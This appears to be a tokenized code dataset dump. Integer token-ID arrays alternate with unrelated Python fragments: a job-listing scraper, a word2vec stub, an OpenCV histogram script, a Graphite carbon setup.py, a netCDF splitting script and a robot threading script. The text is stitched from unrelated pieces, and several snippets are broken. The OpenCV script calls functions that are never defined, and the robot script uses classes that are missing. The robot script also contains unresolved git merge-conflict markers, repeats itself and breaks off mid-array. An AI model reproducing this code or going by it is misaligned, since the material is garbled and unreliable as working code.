[ 6738, 275, 82, 19, 1330, 23762, 50, 10486, 198, 11748, 7007, 198, 11748, 44161, 578, 18, 198, 198, 37043, 796, 44161, 578, 18, 13, 8443, 7203, 22915, 13, 9945, 4943, 198, 22019, 796, 48260, 13, 66, 21471, 3419, 198, 198, 50145, 796, 1391, 198, 220, 220, 220, 705, 15457, 12, 15988, 12, 35265, 12, 39688, 10354, 705, 9, 3256, 198, 220, 220, 220, 705, 15457, 12, 15988, 12, 35265, 12, 46202, 10354, 705, 18851, 3256, 198, 220, 220, 220, 705, 15457, 12, 15988, 12, 35265, 12, 13847, 364, 10354, 705, 19746, 12, 6030, 3256, 198, 220, 220, 220, 705, 15457, 12, 15988, 12, 11518, 12, 23396, 10354, 705, 2623, 405, 3256, 198, 220, 220, 220, 705, 12982, 12, 36772, 10354, 705, 44, 8590, 5049, 14, 20, 13, 15, 357, 55, 1157, 26, 14949, 26, 7020, 2124, 4521, 62, 2414, 26, 374, 85, 25, 4309, 13, 15, 8, 2269, 37549, 14, 1264, 8298, 486, 16802, 14, 5705, 13, 15, 6, 198, 92, 198, 198, 6371, 796, 366, 5450, 1378, 2503, 13, 1671, 394, 4354, 3204, 13, 1073, 13, 365, 14, 43863, 1, 198, 26209, 796, 7007, 13, 1136, 7, 6371, 11, 24697, 11, 26827, 28, 20, 8, 198, 11299, 796, 23762, 50, 10486, 7, 26209, 13, 11299, 11, 366, 6494, 13, 48610, 4943, 198, 198, 2, 2708, 796, 2695, 13, 19796, 10786, 20205, 3256, 708, 3808, 28, 4895, 4871, 1298, 366, 12947, 12, 20274, 20662, 8, 198, 2, 9749, 796, 2708, 13, 19796, 10786, 7146, 3256, 708, 3808, 28, 4895, 4871, 1298, 366, 12947, 12, 20274, 834, 21858, 12, 28961, 20662, 8, 198, 2, 3601, 7, 20205, 13, 3866, 926, 1958, 28955, 198, 2, 3601, 7, 7033, 263, 13, 5239, 8, 198, 198, 21858, 62, 7353, 278, 796, 17635, 198, 1640, 10754, 287, 2695, 13, 19796, 3237, 10786, 20205, 3256, 708, 3808, 28, 4895, 4871, 1298, 366, 12947, 12, 20274, 20662, 2599, 198, 220, 220, 220, 1693, 62, 7353, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 7839, 1298, 10754, 13, 19796, 10786, 71, 18, 27691, 5239, 11, 198, 220, 220, 220, 220, 220, 220, 220, 366, 8726, 1298, 10754, 13, 19796, 10786, 64, 27691, 1136, 10786, 33257, 33809, 198, 220, 220, 220, 220, 220, 220, 220, 366, 7033, 263, 1298, 10754, 13, 19796, 10786, 7146, 3256, 708, 3808, 28, 4895, 4871, 1298, 366, 12947, 12, 20274, 834, 21858, 12, 28961, 20662, 737, 5239, 11, 198, 220, 220, 220, 1782, 628, 220, 220, 220, 1693, 62, 7353, 278, 13, 33295, 7, 21858, 62, 7353, 8, 198, 198, 2, 3597, 284, 6831, 198, 198, 1640, 1693, 62, 7353, 287, 1693, 62, 7353, 278, 25, 198, 220, 220, 220, 1090, 13, 41049, 7203, 20913, 17395, 39319, 15881, 276, 62, 7890, 357, 7839, 11, 2792, 11, 9749, 8, 3815, 32843, 5633, 11, 41349, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 357, 21858, 62, 7353, 14692, 7839, 33116, 1693, 62, 7353, 14692, 8726, 33116, 1693, 62, 7353, 14692, 7033, 263, 8973, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 198 ]
2.544402
518
# -*- coding: utf-8 -*- from gensim.models import word2vec import os import logging MODEL_NAME = 'text8' DATA_PATH = 'data\\text8'
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 201, 198, 6738, 308, 641, 320, 13, 27530, 1330, 1573, 17, 35138, 201, 198, 11748, 28686, 201, 198, 11748, 18931, 201, 198, 201, 198, 33365, 3698, 62, 20608, 796, 705, 5239, 23, 6, 201, 198, 26947, 62, 34219, 796, 705, 7890, 6852, 5239, 23, 6, 201, 198, 201 ]
2.295082
61
import cv2 as cv2 import numpy as np from collections import Counter import math import matplotlib.pyplot as plt #test images # s='add.png' s='lenna.jpg' s='ttt.jpg' #pixel used for SIFT pixelX=200 pixelY=200 #functions #main img=cv2.imread(s) h,w,d = np.shape(img) #convolution matrix c=1 convX=np.zeros((3,3),np.double) convX[0,0]=0;convX[0,1]=0;convX[0,2]=0;convX[1,0]=-c;convX[1,1]=0 convX[1,2]= c;convX[2,0]= -0;convX[2,1]=0;convX[2,2]=0 convY=np.zeros((3,3),np.double) convY[0,0]=-0;convY[0,1]=-c;convY[0,2]=-0;convY[1,0]=0;convY[1,1]=0 convY[1,2]= 0;convY[2,0]= 0;convY[2,1]=c;convY[2,2]=0 #threshold for contours seuil=30 img,contours,imgContoursX,imgContoursY=getContours(img,seuil) blocks=getBlock(img,pixelX,pixelY) dic={} histogrammes=[] for block in blocks: #count orientations for histogramme array=np.matrix.flatten(block) count=Counter(array) for c in count: dic[roundAngleTitle(c)]=count[c] histogrammes.append(dic.copy()) dic={} showHist(histogrammes) cv2.imshow('image : '+s,img) cv2.waitKey(0)
[ 11748, 269, 85, 17, 355, 269, 85, 17, 201, 198, 11748, 299, 32152, 355, 45941, 201, 198, 6738, 17268, 1330, 15034, 201, 198, 11748, 10688, 201, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 201, 198, 201, 198, 2, 9288, 4263, 201, 198, 2, 264, 11639, 2860, 13, 11134, 6, 201, 198, 82, 11639, 75, 13713, 13, 9479, 6, 201, 198, 82, 11639, 926, 83, 13, 9479, 6, 201, 198, 201, 198, 2, 32515, 973, 329, 311, 32297, 201, 198, 32515, 55, 28, 2167, 201, 198, 32515, 56, 28, 2167, 201, 198, 201, 198, 2, 12543, 2733, 201, 198, 201, 198, 201, 198, 201, 198, 2, 12417, 201, 198, 9600, 28, 33967, 17, 13, 320, 961, 7, 82, 8, 201, 198, 71, 11, 86, 11, 67, 796, 45941, 13, 43358, 7, 9600, 8, 201, 198, 2, 42946, 2122, 17593, 201, 198, 66, 28, 16, 201, 198, 42946, 55, 28, 37659, 13, 9107, 418, 19510, 18, 11, 18, 828, 37659, 13, 23352, 8, 201, 198, 42946, 55, 58, 15, 11, 15, 22241, 15, 26, 42946, 55, 58, 15, 11, 16, 22241, 15, 26, 42946, 55, 58, 15, 11, 17, 22241, 15, 26, 42946, 55, 58, 16, 11, 15, 60, 10779, 66, 26, 42946, 55, 58, 16, 11, 16, 22241, 15, 201, 198, 42946, 55, 58, 16, 11, 17, 22241, 269, 26, 42946, 55, 58, 17, 11, 15, 22241, 532, 15, 26, 42946, 55, 58, 17, 11, 16, 22241, 15, 26, 42946, 55, 58, 17, 11, 17, 22241, 15, 201, 198, 201, 198, 42946, 56, 28, 37659, 13, 9107, 418, 19510, 18, 11, 18, 828, 37659, 13, 23352, 8, 201, 198, 42946, 56, 58, 15, 11, 15, 60, 10779, 15, 26, 42946, 56, 58, 15, 11, 16, 60, 10779, 66, 26, 42946, 56, 58, 15, 11, 17, 60, 10779, 15, 26, 42946, 56, 58, 16, 11, 15, 22241, 15, 26, 42946, 56, 58, 16, 11, 16, 22241, 15, 201, 198, 42946, 56, 58, 16, 11, 17, 22241, 657, 26, 42946, 56, 58, 17, 11, 15, 22241, 657, 26, 42946, 56, 58, 17, 11, 16, 22241, 66, 26, 42946, 56, 58, 17, 11, 17, 22241, 15, 201, 198, 201, 198, 2, 400, 10126, 329, 542, 4662, 201, 198, 325, 84, 346, 28, 1270, 201, 198, 9600, 11, 3642, 4662, 11, 9600, 4264, 4662, 55, 11, 9600, 4264, 4662, 56, 28, 1136, 4264, 4662, 7, 9600, 11, 325, 84, 346, 8, 201, 198, 201, 198, 27372, 28, 1136, 12235, 7, 9600, 11, 32515, 55, 11, 32515, 56, 8, 201, 198, 67, 291, 34758, 92, 201, 198, 10034, 21857, 6880, 28, 21737, 201, 198, 1640, 2512, 287, 7021, 25, 201, 198, 220, 220, 220, 1303, 9127, 11367, 602, 329, 1554, 21857, 1326, 201, 198, 220, 220, 220, 7177, 28, 37659, 13, 6759, 8609, 13, 2704, 41769, 7, 9967, 8, 201, 198, 220, 220, 220, 954, 28, 31694, 7, 18747, 8, 201, 198, 220, 220, 220, 329, 269, 287, 954, 25, 201, 198, 220, 220, 220, 220, 220, 220, 220, 288, 291, 58, 744, 13450, 293, 19160, 7, 66, 15437, 28, 9127, 58, 66, 60, 201, 198, 220, 220, 220, 1554, 21857, 6880, 13, 33295, 7, 67, 291, 13, 30073, 28955, 201, 198, 220, 220, 220, 288, 291, 34758, 92, 201, 198, 201, 198, 12860, 13749, 7, 10034, 21857, 6880, 8, 201, 198, 201, 198, 33967, 17, 13, 320, 12860, 10786, 9060, 1058, 705, 10, 82, 11, 9600, 8, 201, 198, 33967, 17, 13, 17077, 9218, 7, 15, 8 ]
1.921875
576
#!/usr/bin/env python import os from glob import glob if os.environ.get('USE_SETUPTOOLS'): from setuptools import setup setup_kwargs = dict(zip_safe=0) else: from distutils.core import setup setup_kwargs = dict() storage_dirs = [ ('storage/whisper',[]), ('storage/lists',[]), ('storage/log',[]), ('storage/rrd',[]) ] conf_files = [ ('conf', glob('conf/*.example')) ] setup( name='carbon', version='0.9.8', url='https://launchpad.net/graphite', author='Chris Davis', author_email='[email protected]', license='Apache Software License 2.0', description='Backend data caching and persistence daemon for Graphite', packages=['carbon', 'carbon.aggregator'], package_dir={'' : 'lib'}, scripts=glob('bin/*'), package_data={ 'carbon' : ['*.xml'] }, data_files=storage_dirs + conf_files, install_requires=['twisted', 'txamqp'], **setup_kwargs )
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 11748, 28686, 198, 6738, 15095, 1330, 15095, 198, 198, 361, 28686, 13, 268, 2268, 13, 1136, 10786, 19108, 62, 28480, 8577, 10468, 3535, 50, 6, 2599, 198, 220, 422, 900, 37623, 10141, 1330, 9058, 198, 220, 9058, 62, 46265, 22046, 796, 8633, 7, 13344, 62, 21230, 28, 15, 8, 198, 198, 17772, 25, 198, 220, 422, 1233, 26791, 13, 7295, 1330, 9058, 198, 220, 9058, 62, 46265, 22046, 796, 8633, 3419, 628, 198, 35350, 62, 15908, 82, 796, 685, 19203, 35350, 14, 1929, 271, 525, 3256, 21737, 828, 19203, 35350, 14, 20713, 3256, 21737, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 19203, 35350, 14, 6404, 3256, 21737, 828, 19203, 35350, 14, 81, 4372, 3256, 58, 12962, 2361, 198, 10414, 62, 16624, 796, 685, 19203, 10414, 3256, 15095, 10786, 10414, 15211, 13, 20688, 6, 4008, 2361, 198, 198, 40406, 7, 198, 220, 1438, 11639, 29255, 3256, 198, 220, 2196, 11639, 15, 13, 24, 13, 23, 3256, 198, 220, 19016, 11639, 5450, 1378, 35681, 15636, 13, 3262, 14, 34960, 578, 3256, 198, 220, 1772, 11639, 15645, 7802, 3256, 198, 220, 1772, 62, 12888, 11639, 354, 81, 1042, 67, 31, 14816, 13, 785, 3256, 198, 220, 5964, 11639, 25189, 4891, 10442, 13789, 362, 13, 15, 3256, 198, 220, 6764, 11639, 7282, 437, 1366, 40918, 290, 30802, 33386, 329, 29681, 578, 3256, 198, 220, 10392, 28, 17816, 29255, 3256, 705, 29255, 13, 9460, 2301, 1352, 6, 4357, 198, 220, 5301, 62, 15908, 34758, 7061, 1058, 705, 8019, 6, 5512, 198, 220, 14750, 28, 4743, 672, 10786, 8800, 15211, 33809, 198, 220, 5301, 62, 7890, 34758, 705, 29255, 6, 1058, 37250, 24620, 19875, 20520, 8964, 198, 220, 1366, 62, 16624, 28, 35350, 62, 15908, 82, 1343, 1013, 62, 16624, 11, 198, 220, 2721, 62, 47911, 28, 17816, 4246, 6347, 3256, 705, 17602, 321, 80, 79, 6, 4357, 198, 220, 12429, 40406, 62, 46265, 22046, 198, 8, 198 ]
2.687688
333
#!/usr/bin/python # -*- coding: utf-8 -*- """ Split off 2D variable from file with other variables Notes ---- - based on software carpentary example. http://damienirving.github.io/capstone-oceanography/03-data-provenance.html """ # Modules to import from netCDF4 import Dataset import numpy as np import pylab as pl import calendar # add extra's for copied function... import os import sys import argparse import datetime # --- verbose and debug settings for script main call VERBOSE = False DEBUG = False def main(filename=None, VarName='OLSON', verbose=False, debug=False): """ Driver to split off variables """ # Get the file name and location wd, fn = get_file_loc_and_name() # name output file if name not given if isinstance(filename, type(None)): filename = wd.split('/')[-2] if debug: print((wd, fn, filename)) inFile = wd+'/'+fn # Set output name outfile_name = inFile+'.out' # Read input data VarData, input_DATA = read_data(inFile, VarName=VarName) # Set values? # print type(VarData) # print [ (i.shape, i.mean(), i.min(), i.max()) for i in VarData] # VarData[VarData>1] = 1 # print [ (i.shape, i.mean(), i.min(), i.max()) for i in VarData] # --- Write the output file outfile = Dataset(outfile_name, 'w', format='NETCDF4') set_global_atts(input_DATA, outfile) copy_dimensions(input_DATA, outfile) copy_variables(input_DATA, outfile, VarName=VarName) # overwite data outfile[VarName][:] = VarData # Close file outfile.close() def get_file_loc_and_name(): """ Get file location and name """ # Use command line grab function import sys # Get arguments from command line wd = sys.argv[1] fn = sys.argv[2] return wd, fn def copy_dimensions(infile, outfile): """ Copy the dimensions of the infile to the outfile """ for dimName, dimData in iter(list(infile.dimensions.items())): outfile.createDimension(dimName, len(dimData)) def copy_variables(infile, outfile, VarName='OLSON'): """ Create variables corresponding to the file dimensions by copying from infile """ # Get vars var_list = ['lon', 'lat', 'time'] # Also consider LANDMAP value var_list += [VarName] # Now loop for var_name in var_list: varin = infile.variables[var_name] outVar = outfile.createVariable(var_name, varin.datatype, varin.dimensions, ) outVar[:] = varin[:] var_atts = {} for att in varin.ncattrs(): if not att == '_FillValue': var_atts[att] = eval('varin.'+att) outVar.setncatts(var_atts) def read_data(ifile, VarName='OLSON'): """ Read data from ifile corresponding to the VarName """ input_DATA = Dataset(ifile) VarData = input_DATA.variables[VarName][:] return VarData, input_DATA def set_global_atts(infile, outfile): """Set the global attributes for outfile. Note that the global attributes are simply copied from infile. """ global_atts = {} for att in infile.ncattrs(): global_atts[att] = eval('infile.'+att) # set attributes outfile.setncatts(global_atts) if __name__ == "__main__": main(verbose=VERBOSE, debug=DEBUG)
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 41205, 572, 362, 35, 7885, 422, 2393, 351, 584, 9633, 198, 198, 16130, 198, 650, 220, 198, 532, 1912, 319, 3788, 1097, 16923, 560, 1672, 13, 220, 198, 4023, 1378, 11043, 2013, 343, 1075, 13, 12567, 13, 952, 14, 11128, 6440, 12, 78, 5829, 4867, 14, 3070, 12, 7890, 12, 42874, 590, 13, 6494, 198, 37811, 198, 2, 3401, 5028, 284, 1330, 198, 6738, 2010, 34, 8068, 19, 1330, 16092, 292, 316, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 279, 2645, 397, 355, 458, 198, 11748, 11845, 198, 2, 751, 3131, 338, 329, 18984, 2163, 986, 198, 11748, 28686, 198, 11748, 25064, 198, 11748, 1822, 29572, 198, 11748, 4818, 8079, 198, 198, 2, 11420, 15942, 577, 290, 14257, 6460, 329, 4226, 1388, 869, 198, 5959, 33, 14058, 796, 10352, 198, 30531, 796, 10352, 628, 198, 4299, 1388, 7, 34345, 28, 14202, 11, 12372, 5376, 11639, 3535, 11782, 3256, 15942, 577, 28, 25101, 11, 14257, 28, 25101, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 12434, 284, 6626, 572, 9633, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 3497, 262, 2393, 1438, 290, 4067, 198, 220, 220, 220, 266, 67, 11, 24714, 796, 651, 62, 7753, 62, 17946, 62, 392, 62, 3672, 3419, 198, 220, 220, 220, 1303, 1438, 5072, 2393, 611, 1438, 407, 1813, 198, 220, 220, 220, 611, 318, 39098, 7, 34345, 11, 2099, 7, 14202, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 29472, 796, 266, 67, 13, 35312, 10786, 14, 11537, 58, 12, 17, 60, 198, 220, 220, 220, 611, 14257, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19510, 16993, 11, 24714, 11, 29472, 4008, 198, 220, 220, 220, 287, 8979, 796, 266, 67, 10, 26488, 6, 10, 22184, 628, 220, 220, 220, 1303, 5345, 5072, 1438, 198, 220, 220, 220, 503, 7753, 62, 3672, 796, 287, 8979, 10, 4458, 448, 6, 628, 220, 220, 220, 1303, 4149, 5128, 1366, 198, 220, 220, 220, 12372, 6601, 11, 5128, 62, 26947, 796, 1100, 62, 7890, 7, 259, 8979, 11, 12372, 5376, 28, 19852, 5376, 8, 628, 220, 220, 220, 1303, 5345, 3815, 30, 198, 2, 220, 220, 220, 3601, 2099, 7, 19852, 6601, 8, 198, 2, 220, 220, 220, 3601, 685, 357, 72, 13, 43358, 11, 1312, 13, 32604, 22784, 1312, 13, 1084, 22784, 1312, 13, 9806, 28955, 329, 1312, 287, 12372, 6601, 60, 198, 2, 220, 220, 220, 12372, 6601, 58, 19852, 6601, 29, 16, 60, 796, 352, 198, 2, 220, 220, 220, 3601, 685, 357, 72, 13, 43358, 11, 1312, 13, 32604, 22784, 1312, 13, 1084, 22784, 1312, 13, 9806, 28955, 329, 1312, 287, 12372, 6601, 60, 628, 220, 220, 220, 1303, 11420, 19430, 262, 5072, 2393, 198, 220, 220, 220, 503, 7753, 796, 16092, 292, 316, 7, 448, 7753, 62, 3672, 11, 705, 86, 3256, 5794, 11639, 12884, 34, 8068, 19, 11537, 198, 220, 220, 220, 900, 62, 20541, 62, 30353, 7, 15414, 62, 26947, 11, 503, 7753, 8, 198, 220, 220, 220, 4866, 62, 27740, 5736, 7, 15414, 62, 26947, 11, 503, 7753, 8, 198, 220, 220, 220, 4866, 62, 25641, 2977, 7, 15414, 62, 26947, 11, 503, 7753, 11, 12372, 5376, 28, 19852, 5376, 8, 198, 220, 220, 220, 1303, 6993, 578, 1366, 198, 220, 220, 220, 503, 7753, 58, 19852, 5376, 7131, 47715, 796, 12372, 6601, 198, 220, 220, 220, 1303, 13872, 2393, 198, 220, 220, 220, 503, 7753, 13, 19836, 3419, 628, 198, 4299, 651, 62, 7753, 62, 17946, 62, 392, 62, 3672, 33529, 198, 220, 220, 220, 37227, 3497, 2393, 4067, 290, 1438, 37227, 628, 220, 220, 220, 1303, 5765, 3141, 1627, 5552, 2163, 198, 220, 220, 220, 1330, 25064, 628, 220, 220, 220, 1303, 3497, 7159, 422, 3141, 1627, 198, 220, 220, 220, 266, 67, 796, 25064, 13, 853, 85, 58, 16, 60, 198, 220, 220, 220, 24714, 796, 25064, 13, 853, 85, 58, 17, 60, 628, 220, 220, 220, 1441, 266, 67, 11, 24714, 628, 198, 4299, 4866, 62, 27740, 5736, 7, 259, 7753, 11, 503, 7753, 2599, 198, 220, 220, 220, 37227, 220, 198, 220, 220, 220, 17393, 262, 15225, 286, 262, 1167, 576, 284, 262, 503, 7753, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 329, 5391, 5376, 11, 5391, 6601, 287, 11629, 7, 4868, 7, 259, 7753, 13, 27740, 5736, 13, 23814, 28955, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 503, 7753, 13, 17953, 29271, 3004, 7, 27740, 5376, 11, 18896, 7, 27740, 6601, 4008, 628, 198, 4299, 4866, 62, 25641, 2977, 7, 259, 7753, 11, 503, 7753, 11, 12372, 5376, 11639, 3535, 11782, 6, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 13610, 9633, 11188, 284, 262, 2393, 15225, 220, 198, 220, 220, 220, 416, 23345, 422, 1167, 576, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 3497, 410, 945, 198, 220, 220, 220, 1401, 62, 4868, 796, 37250, 14995, 3256, 705, 15460, 3256, 705, 2435, 20520, 198, 220, 220, 220, 1303, 4418, 2074, 406, 6981, 33767, 1988, 198, 220, 220, 220, 1401, 62, 4868, 15853, 685, 19852, 5376, 60, 198, 220, 220, 220, 1303, 2735, 9052, 198, 220, 220, 220, 329, 1401, 62, 3672, 287, 1401, 62, 4868, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1401, 259, 796, 1167, 576, 13, 25641, 2977, 58, 7785, 62, 3672, 60, 198, 220, 220, 220, 220, 220, 220, 220, 503, 19852, 796, 503, 7753, 13, 17953, 43015, 7, 7785, 62, 3672, 11, 1401, 259, 13, 19608, 265, 2981, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1401, 259, 13, 27740, 5736, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 503, 19852, 58, 47715, 796, 1401, 259, 58, 47715, 628, 220, 220, 220, 220, 220, 220, 220, 1401, 62, 30353, 796, 23884, 198, 220, 220, 220, 220, 220, 220, 220, 329, 708, 287, 1401, 259, 13, 10782, 1078, 3808, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 407, 708, 6624, 705, 62, 33762, 11395, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1401, 62, 30353, 58, 1078, 60, 796, 5418, 10786, 7785, 259, 2637, 10, 1078, 8, 198, 220, 220, 220, 220, 220, 220, 220, 503, 19852, 13, 2617, 77, 9246, 912, 7, 7785, 62, 30353, 8, 628, 198, 4299, 1100, 62, 7890, 7, 361, 576, 11, 12372, 5376, 11639, 3535, 11782, 6, 2599, 198, 220, 220, 220, 37227, 220, 198, 220, 220, 220, 4149, 1366, 422, 611, 576, 11188, 284, 262, 12372, 5376, 220, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 5128, 62, 26947, 796, 16092, 292, 316, 7, 361, 576, 8, 198, 220, 220, 220, 12372, 6601, 796, 5128, 62, 26947, 13, 25641, 2977, 58, 19852, 5376, 7131, 47715, 628, 220, 220, 220, 1441, 12372, 6601, 11, 5128, 62, 26947, 628, 198, 4299, 900, 62, 20541, 62, 30353, 7, 259, 7753, 11, 503, 7753, 2599, 198, 220, 220, 220, 37227, 7248, 262, 3298, 12608, 329, 503, 7753, 13, 628, 220, 220, 220, 5740, 326, 262, 3298, 12608, 389, 2391, 18984, 422, 1167, 576, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 3298, 62, 30353, 796, 23884, 198, 220, 220, 220, 329, 708, 287, 1167, 576, 13, 10782, 1078, 3808, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 3298, 62, 30353, 58, 1078, 60, 796, 5418, 10786, 259, 7753, 2637, 10, 1078, 8, 628, 220, 220, 220, 1303, 900, 12608, 198, 220, 220, 220, 503, 7753, 13, 2617, 77, 9246, 912, 7, 20541, 62, 30353, 8, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 1388, 7, 19011, 577, 28, 5959, 33, 14058, 11, 14257, 28, 30531, 8, 198 ]
2.449927
1,378
<<<<<<< HEAD import time import numpy as np import Adafruit_BBIO.PWM as PWM from PixyCam import PixyCam from imu import Imu from servo import Servo from wheel import Wheel from classes import State import constants as cons import threading #import logging import sys from queue import LifoQueue count =0 ball_status_new = 0 ball_status_old = 0 stop_threads = False BUF_SIZE = 5 imuQueue = LifoQueue(BUF_SIZE) camQueue = LifoQueue(BUF_SIZE) wheelQueue = LifoQueue(BUF_SIZE) servoQueue = LifoQueue(BUF_SIZE) ''' wheel_leftQueue = LifoQueue(BUF_SIZE) wheel_rightQueue = LifoQueue(BUF_SIZE) servo_leftQueue = LifoQueue(BUF_SIZE) servo_rightQueue = LifoQueue(BUF_SIZE) ''' # estimate real ball motion and important information about it in relation to the ground # decide how to handle the ball if __name__ == '__main__': try: killpill = False #start_thread_2() inputThread = Input() inputThread.daemon = True inputThread.start() processingThread = Processing() processingThread.daemon = True processingThread.start() servoThread = Servos() servoThread.daemon = True servoThread.start() wheelThread = Wheels() wheelThread.daemon = True wheelThread.start() input("killpill activ with enter: ") killpill = True inputThread.join() processingThread.join() servoThread.join() wheelThread.join() #stop_threads() except KeyboardInterrupt: exit(0) ======= import time import numpy as np import Adafruit_BBIO.PWM as PWM from PixyCam import PixyCam from imu import Imu from servo import Servo from wheel import Wheel from classes import State import constants as cons import threading #import logging import sys from queue import LifoQueue count =0 ball_status_new = 0 ball_status_old = 0 stop_threads = False BUF_SIZE = 1 imuQueue = LifoQueue(BUF_SIZE) camQueue = LifoQueue(BUF_SIZE) wheelQueue = LifoQueue(BUF_SIZE) servoQueue = LifoQueue(BUF_SIZE) ''' wheel_leftQueue = LifoQueue(BUF_SIZE) wheel_rightQueue = LifoQueue(BUF_SIZE) servo_leftQueue = LifoQueue(BUF_SIZE) servo_rightQueue = LifoQueue(BUF_SIZE) ''' # estimate real ball motion and important information about it in relation to the ground # decide how to handle the ball if __name__ == '__main__': try: killpill = False #start_thread_2() inputThread = Input() inputThread.daemon = True inputThread.start() processingThread = Processing() processingThread.daemon = True processingThread.start() servoThread = Servos() servoThread.daemon = True servoThread.start() wheelThread = Wheels() wheelThread.daemon = True wheelThread.start() input("killpill activ with enter: ") killpill = True inputThread.join() processingThread.join() servoThread.join() wheelThread.join() #stop_threads() except KeyboardInterrupt: exit(0) >>>>>>> 445b4960d9388eb4f7ccd9801c006dc5d07d1921
[ 16791, 16791, 16791, 27, 39837, 198, 11748, 640, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 1215, 1878, 4872, 62, 33, 3483, 46, 13, 47, 22117, 355, 350, 22117, 198, 6738, 21642, 88, 21701, 1330, 21642, 88, 21701, 198, 6738, 545, 84, 1330, 1846, 84, 198, 6738, 1113, 78, 1330, 3116, 78, 198, 6738, 7825, 1330, 15810, 198, 6738, 6097, 1330, 1812, 198, 11748, 38491, 355, 762, 198, 11748, 4704, 278, 198, 2, 11748, 18931, 198, 11748, 25064, 198, 6738, 16834, 1330, 21073, 78, 34991, 198, 198, 9127, 796, 15, 198, 1894, 62, 13376, 62, 3605, 796, 657, 198, 1894, 62, 13376, 62, 727, 796, 657, 198, 198, 11338, 62, 16663, 82, 796, 10352, 198, 198, 19499, 37, 62, 33489, 796, 642, 198, 320, 84, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 20991, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 22001, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 3168, 78, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 7061, 6, 198, 22001, 62, 9464, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 22001, 62, 3506, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 3168, 78, 62, 9464, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 3168, 78, 62, 3506, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 7061, 6, 628, 220, 220, 220, 1303, 8636, 1103, 2613, 6268, 290, 1593, 1321, 546, 340, 287, 8695, 284, 262, 2323, 198, 220, 220, 220, 1303, 5409, 703, 284, 5412, 262, 2613, 628, 628, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1494, 27215, 796, 10352, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 9688, 62, 16663, 62, 17, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 16818, 796, 23412, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 16818, 13, 6814, 7966, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 16818, 13, 9688, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 7587, 16818, 796, 28403, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 7587, 16818, 13, 6814, 7966, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 7587, 16818, 13, 9688, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 1113, 78, 16818, 796, 3116, 418, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1113, 78, 16818, 13, 6814, 7966, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 1113, 78, 16818, 13, 9688, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 7825, 16818, 796, 37416, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 7825, 16818, 13, 6814, 7966, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 7825, 16818, 13, 9688, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 7203, 12728, 27215, 1753, 351, 3802, 25, 366, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1494, 27215, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 16818, 13, 22179, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 7587, 16818, 13, 22179, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1113, 78, 16818, 13, 22179, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 7825, 16818, 13, 